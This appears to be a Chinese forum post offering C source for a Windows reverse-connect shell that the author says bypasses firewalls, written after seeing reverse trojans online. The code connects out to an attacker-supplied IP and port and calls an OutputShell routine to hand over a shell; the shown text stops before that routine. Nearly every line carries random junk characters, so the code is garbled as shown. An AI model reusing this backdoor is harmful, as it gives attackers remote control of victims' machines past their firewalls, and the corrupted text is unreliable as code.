这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aT}Hc5L,b
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/* ============================== <Z.{q Zd
Rebound port in Windows NT !QbuOvw
By wind,2006/7 8HJ,6L r;
===============================*/ U.I
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#include vyJ8"
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#include \O;/wf0Hg
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#pragma comment(lib,"wsock32.lib") ~"J1@<
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void OutputShell(); vxC];nCC#
SOCKET sClient; 4Otq3s34FT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GQhy4ji'z
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void main(int argc,char **argv) tvFe_*Ck
{ d4^x,hzV
WSADATA stWsaData; =7H\llL4BC
int nRet; ITqAy1m@C
SOCKADDR_IN stSaiClient,stSaiServer; 6_u!{
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if(argc != 3) rTVv6:L
{ ZN;ondp4
printf("Useage:\n\rRebound DestIP DestPort\n"); ISFNP&&K
return; esBv,b?*
} !u8IZpf
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WSAStartup(MAKEWORD(2,2),&stWsaData); {,h_T0D^j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~]d 9 J
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stSaiClient.sin_family = AF_INET; jXALL8[c
stSaiClient.sin_port = htons(0); (GpP=lSSeY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [M%?[E}>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +>*=~R
{ oQmXKV+[v
printf("Bind Socket Failed!\n"); r nr-wUW@
return; mTWd+mx
} )8#-IXxp
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stSaiServer.sin_family = AF_INET; KU
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _D?/$D7u#%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fjy\Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W'"?5} (
{ )uo".n|n~B
printf("Connect Error!"); 3%GsTq2o
return; $|J+
} 7 L,`7k|
OutputShell(); 6Y,&